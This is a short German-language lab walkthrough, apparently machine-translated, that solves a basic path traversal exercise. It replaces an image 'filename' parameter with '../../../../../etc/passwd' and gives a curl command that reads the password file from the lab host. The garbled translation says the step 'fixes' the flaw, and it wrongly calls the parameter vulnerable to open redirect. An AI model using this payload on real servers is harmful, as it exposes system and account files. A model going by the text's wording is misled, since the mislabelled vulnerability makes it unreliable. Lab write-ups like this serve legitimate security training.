> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/path-traversal/basic-path-traversal.md).

# Grundlegendes Path Traversal

### Dateipfad-Traversal, einfacher Fall

Dieses Lab zeigt eine Path-Traversal-Schwachstelle beim Anzeigen von Produktbildern. / Um dies zu beheben, greifen Sie einfach auf den Inhalt von **/etc/passwd** vorhandenen Benutzern.

Die Bilder werden mithilfe eines **Dateinamen** Parameter anfällig für Open Redirect ist:

```bash
/image?filename=53.jpg
```

<figure><img src="/files/bbcd0bcb61fe53389ce98f35e51d74066c756e99" alt=""><figcaption></figcaption></figure>

Indem Sie diesen Dateinamen durch eine Sequenz ersetzen, mit der Sie zurück im Verzeichnisbaum navigieren können, können Sie Systemdateien anvisieren:

```bash
/image?filename=../../../../../etc/passwd
```

Beispiel mit **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

Dieses Payload zeigt den Inhalt der passwd-Datei an und schließt damit das Lab ab.

<figure><img src="/files/cab43880c94a6c13eb9f7e9224b3617d3fc40e66" alt=""><figcaption></figcaption></figure>


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